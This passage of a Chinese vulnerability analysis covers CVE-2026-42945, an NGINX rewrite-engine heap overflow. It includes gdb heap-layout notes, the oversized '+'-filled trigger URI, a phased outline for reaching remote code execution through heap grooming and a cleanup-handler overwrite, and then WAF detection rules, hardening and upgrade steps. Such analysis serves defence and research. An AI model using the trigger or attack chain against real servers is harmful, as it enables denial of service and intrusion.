$2 = {handler = 0x55555560a2c0 <ngx_http_upstream_finalize_request>,
data = 0x55555568b010,
next = 0x0}
(gdb) p/x e->pos
$3 = 0x555555689e00 # 目标缓冲区地址
(gdb) p/x e->request->pool->cleanup
$4 = 0x555555689c40
# ★ 关键发现:buffer 地址 > cleanup 地址 ★
# ★ dist_to_cleanup = 0x555555689e00 - 0x555555689c40 = 0x1C0 (正数) ★
# ★ 但溢出方向远离 cleanup(buffer 在 cleanup 之后)★
proxy_pass 模式下的堆布局:
低地址 ────────────────────────────────────────────→ 高地址
┌──────────────┬──────────────────┬──────────────┐
│ ngx_pool_t │ cleanup 节点 │ 目标buffer │
│ (0x000) │ (0xC40-0xC5F) │ (0xE00+) │
│ │ handler=func_ptr │ 735 bytes │
│ cleanup ─────→ data=req_ctx │ ← 溢出方向 → │
└──────────────┤ next=NULL └──────────────┘
└──────────────────┘ ↓ 溢出
┌───────────────────┐
│ 后续堆块/其他pool │
└───────────────────┘
dist_to_cleanup = buffer - cleanup > 0(正数)
cleanup 非 NULL(proxy_pass 注册 upstream cleanup)
但溢出方向远离 cleanup(无法直接覆盖 handler)
8.4 两种模式对比
| 维度 | return 200 模式 | proxy_pass 模式 |
|---|---|---|
cleanup 指针 |
NULL(0x0) |
非 NULL(指向 upstream cleanup) |
cleanup->handler |
不存在 | ngx_http_upstream_finalize_request |
| buffer 相对 pool 位置 | pool 之后(offset ~0x3B0) | pool 之后(offset ~0xE00) |
| buffer 相对 cleanup 位置 | N/A(cleanup 为 NULL) | buffer 在 cleanup 之后(距离 ~0x1C0) |
| 溢出方向 vs cleanup | 远离(无法覆盖) | 远离(无法直接覆盖) |
| 直接劫持可行性 | 低(cleanup 为 NULL) | 低(溢出方向远离 cleanup) |
| RCE 难度 | 需跨请求堆风水 | 需跨请求堆风水 |
8.5 跨请求堆布局控制
由于单请求内 buffer 与 cleanup 的相对位置不利于直接覆盖,RCE 的实现需要跨请求堆布局控制(cross-request heap feng shui):
- 请求 A:发送大量小请求,消耗 pool block,使后续分配落在特定地址
- 请求 B:触发溢出,覆盖请求 A 的 pool 中的 cleanup 链表(如果 A 的 pool 恰好在 B 的 buffer 之后)
- 请求 A 结束:
ngx_destroy_pool遍历被篡改的 cleanup,调用攻击者控制的handler
这种技术需要精确控制 NGINX worker 进程的堆布局,且受 worker_connections 和 keepalive 等配置影响,实战中难度较高。
九、正常请求 vs 触发请求多维度对比
| 维度 | 正常请求 | 触发请求 |
|---|---|---|
| URI 路径 | /api/users/123 |
/api/ + 349A + 380+ + 6X |
| URI 长度 | 15 字节 | 742 字节 |
捕获组 $1 内容 |
users/123 |
AAA...+++...XXX |
$1 原始长度 |
10 字节 | 735 字节 |
$1 含转义字符 |
否 | 是(380 个 +) |
第一遍 is_args |
0(无 ? 时不触发漏洞路径) |
0(start_args_code 不在 lengths 序列) |
第二遍 is_args |
0 | 1(? 触发 start_args_code) |
| 长度计算分支 | else(原始长度) |
else(原始长度 735) |
| 拷贝执行分支 | else(ngx_copy) |
if(ngx_escape_uri) |
| 分配大小 | 10 字节 | 735 字节 |
| 写入大小 | 10 字节 | 1495 字节 |
| 溢出量 | 0 | 760 字节 |
| worker 行为 | 正常返回 200 | crash(SIGABRT/SIGSEGV) |
| 内存影响 | 无 | 堆元数据损坏 |
| 日志表现 | 200 OK |
worker process exited on signal 6 |
十、姊妹篇对比:CVE-2026-42945 vs CVE-2026-42533
CVE-2026-42945(NGINX Rift,rewrite 堆溢出)与 CVE-2026-42533(map 指令堆溢出)同属 NGINX 脚本引擎的堆溢出漏洞,但根因机制截然不同,构成一对经典的姊妹篇。
| 对比维度 | CVE-2026-42945(rewrite) | CVE-2026-42533(map) |
|---|---|---|
| 漏洞模块 | ngx_http_rewrite_module |
ngx_http_map_module |
| 代码位置 | ngx_http_script.c |
ngx_http_map_module.c |
| 引入版本 | NGINX 0.6.27(2008) | 较新版本 |
| 潜伏时间 | 18 年 | 较短 |
| 触发指令 | rewrite + set |
map |
| 触发条件 | 替换串含 ? + set $1 |
正则未命名捕获作为 map 输出值 |
| 根因类型 | 两遍扫描 is_args 标志差异 |
捕获状态覆盖/求值顺序问题 |
| 溢出方向 | 长度计算遗漏 escape 膨胀 | 临时缓冲区边界检查缺失 |
| 膨胀机制 | URL 编码 1→3 字节(+→%2B) |
捕获数据直接复制超长 |
| 攻击字符 | +(NGX_ESCAPE_ARGS 转义) |
任意长字符串 |
| 单请求触发 | 是 | 是 |
| ASLR 禁用 RCE | 是 | 是 |
| 修复方式 | 长度计算遍同步设置 is_args |
修正捕获长度校验 |
| CVSS | 9.2 | 9.2(v4.0) |
根因对比分析:
CVE-2026-42945 的根因是两遍扫描架构设计中的状态同步缺陷——start_args_code 指令只编译进值拷贝序列而遗漏了长度计算序列,导致 is_args 标志在两遍中出现 0 vs 1 的差异。这是一个编译阶段的缺陷。
CVE-2026-42533 的根因是求值顺序与共享捕获状态的交互——map 模块在处理正则捕获时,固定大小的临时缓冲区未能正确校验捕获数据长度,当未命名捕获出现在特定求值位置时绕过了边界检查。这是一个运行时的缺陷。
两者的共同启示:NGINX 脚本引擎中"预计算长度 + 一次分配 + 一次拷贝"的设计模式,在任何导致两遍扫描行为不一致的情况下都会产生堆溢出。审计这类模式时,应特别关注所有可能影响长度计算与实际输出不一致的标志位和状态变量。
十一、从溢出到 RCE 的工程挑战
11.1 URI 字符集限制
URI 路径中可安全使用的字符集极其有限:
可用字符: [A-Za-z0-9_.~-] (62 + 4 = 66 个)
攻击增强: + (1 个,用于触发 escape 膨胀)
不可用: \x00 (null) (无法写入指针中的 \x00 字节)
不可用: \x7f-\xff (高位字节,地址中常见)
不可用: 空格, ", <, > 等 (URI 解析阶段被处理或截断)
这意味着攻击者无法直接写入完整的 64 位指针地址(通常包含 null 字节和高位字节),必须依赖:
- 部分覆盖:只覆盖指针的低 1-2 字节,在 ASLR 部分熵较低时可行
- 信息泄露:通过其他漏洞泄露堆/libc 地址,再构造完整地址
- 堆风水:通过大量请求排列堆布局,使可控数据落在可预测地址
11.2 ASLR 绕过
在 ASLR 完全启用的系统上,需要泄露两类地址:
- 堆地址:用于定位
ngx_pool_t和cleanup节点的精确位置 - libc 地址:用于定位
system/one_gadget等目标函数
可能的泄露途径:
- 配合 CVE-2026-60005(
ngx_http_slice_module未初始化内存泄露)泄露堆内容 - 利用 NGINX 的错误页面或 debug 日志泄露地址信息
- 通过
/proc/self/maps(需要本地访问权限)
11.3 完整 RCE 攻击链
Phase 1: 信息收集
├─ 探测 NGINX 版本(确认 < 1.30.1)
├─ 探测配置(确认 rewrite + ? + set 组合存在)
└─ 探测 ASLR 状态(容器环境可能禁用)
Phase 2: 地址泄露(如需要)
├─ 利用未初始化内存泄露获取堆地址
└─ 利用堆布局推算 libc 基址
Phase 3: 堆风水布局
├─ 发送 N 个请求消耗 pool blocks
├─ 发送 M 个请求注册 cleanup 节点
└─ 排列使目标 buffer 恰好覆盖可控 cleanup
Phase 4: 触发溢出
├─ 发送含 380+ 个 '+' 的请求
└─ 溢出覆盖 cleanup->handler 和 cleanup->data
Phase 5: 触发执行
├─ 请求结束 → ngx_destroy_pool 遍历 cleanup
├─ 调用 handler(data) → system("cmd") / one_gadget
└─ RCE 完成
十二、防御方案
12.1 版本升级(首要措施)
# NGINX Open Source
# 升级到 1.30.1 或 1.31.0
wget https://nginx.org/download/nginx-1.31.0.tar.gz
# 编译安装...
# NGINX Plus
# 升级到 R32 P1
# 通过 F5 控制台或包管理器升级
# 验证版本
nginx -V 2>&1 | grep -o 'nginx/[0-9.]*'
12.2 配置规避(无法立即升级时的临时措施)
风险模式识别:检查所有 location 块中是否同时存在以下配置:
# 自动扫描脚本
grep -rn 'rewrite.*?' /etc/nginx/ | grep '?'
# 然后检查同 location 内是否有 set $... $1
规避方案一:避免 ? 与 set $1 共存
# 危险配置
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1; # ★ 危险 ★
}
# 安全配置:使用命名捕获替代未命名捕获
location ~ ^/api/(?<endpoint>.*)$ {
rewrite ^/api/(?<endpoint>.*)$ /internal?migrated=true;
set $original_endpoint $endpoint; # 命名捕获走不同代码路径
}
规避方案二:拆分 rewrite 和 set 到不同 location
# 将 rewrite 和 set 分离,避免共享引擎上下文
location ~ ^/api/(.*)$ {
set $original_endpoint $1; # 先 set(is_args 此时为 0)
rewrite ^/api/(.*)$ /internal?migrated=true; # 后 rewrite
}
规避方案三:WAF 规则拦截异常 URI
# ModSecurity 规则示例
# 拦截 URI 中包含大量 '+' 字符的请求
SecRule REQUEST_URI "@rx \+{50,}" \
"id:100001,phase:1,deny,status:403,\
msg:'Potential CVE-2026-42945 exploit attempt',\
log,auditlog"
# 拦截超长 URI
SecRule REQUEST_URI_LENGTH "@gt 500" \
"id:100002,phase:1,deny,status:403,\
msg:'URI length exceeds threshold'"
-- OpenResty / lua-nginx-module WAF 规则
local uri = ngx.var.uri
local plus_count = select(2, uri:gsub("%+", ""))
if plus_count > 50 then
ngx.log(ngx.WARN, "CVE-2026-42945 exploit attempt: ", plus_count, " plus signs")
ngx.exit(403)
end
if #uri > 500 then
ngx.exit(403)
end
12.3 运行时加固
# 确保 ASLR 启用(降低 RCE 风险)
cat /proc/sys/kernel/randomize_va_space
# 输出应为 2
# 限制 worker 权限(降低 RCE 后影响)
# nginx.conf
user nginx; # 非 root 运行
# 启用 seccomp 限制系统调用
# 使用 systemd 的 SystemCallFilter
[Service]
SystemCallFilter=~@clock @module @raw-io @reboot @swap
SystemCallFilter=~ptrace
12.4 监控与告警
# 监控 worker crash(DoS 指标)
# /etc/monit/conf.d/nginx
check process nginx with pidfile /var/run/nginx.pid
if 5 restarts within 5 cycles then alert
if failed port 80 protocol http then restart
# 日志监控
# 检测 "worker process exited on signal 6" 告警
tail -f /var/log/nginx/error.log | grep "signal 6"
12.5 防御措施优先级
| 优先级 | 措施 | 效果 | 实施难度 |
|---|---|---|---|
| P0 | 升级到 1.30.1/1.31.0 | 彻底修复 | 低 |
| P1 | 配置规避(命名捕获/拆分指令) | 消除触发条件 | 中 |
| P1 | WAF 规则(拦截大量 + 号) |
阻断利用 | 低 |
| P2 | 确保 ASLR 启用 | 降低 RCE 风险 | 低 |
| P2 | worker 非 root 运行 | 降低 RCE 影响 | 低 |
| P3 | 监控 worker crash | DoS 告警 | 低 |
十三、总结与启示
CVE-2026-42945 是一个教科书级别的"潜伏型"漏洞。它的根因不在于复杂的逻辑错误,而在于一个极其微妙的工程设计假设被打破——两遍扫描的行为一致性。
13.1 技术启示
-
两遍扫描是危险的设计模式:任何"先计算长度再执行操作"的设计,必须确保两遍扫描的所有状态变量完全同步。NGINX 脚本引擎中
start_args_code只编译进值拷贝序列而遗漏长度计算序列,是一个典型的编译阶段遗漏。 -
ngx_memzero初始化的隐患:子引擎通过ngx_memzero初始化会丢失主引擎的上下文状态(如is_args)。在跨引擎共享状态的场景中,这种"干净的初始化"反而引入了状态不一致风险。 -
自动化代码分析的价值:该漏洞潜伏 18 年未被人工审计发现,但 depthfirst 的自动化系统在 6 小时内标记了 5 个候选点。这证明了对大规模 C 代码库,基于数据流分析和符号执行的工具能够发现人类审计者容易遗漏的模式缺陷。
-
单字符差异的杀伤力:
is_args的0与1,一个比特的差异,导致了 18 年的潜伏和 9.2 的 CVSS 评分。在安全审计中,没有任何状态差异是可以忽略的。
13.2 工程改进建议
- NGINX 应在长度计算遍中同步执行所有状态变更指令(如
start_args_code),或在长度计算指令中显式传入is_args状态 - 引入编译期一致性检查:验证两套指令序列(lengths 和 values)中的状态变更指令是否对齐
- 在
ngx_escape_uri拷贝路径中增加目标缓冲区剩余空间的断言检查,作为深度防御
免责声明
本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。
浙公网安备 33010602011771号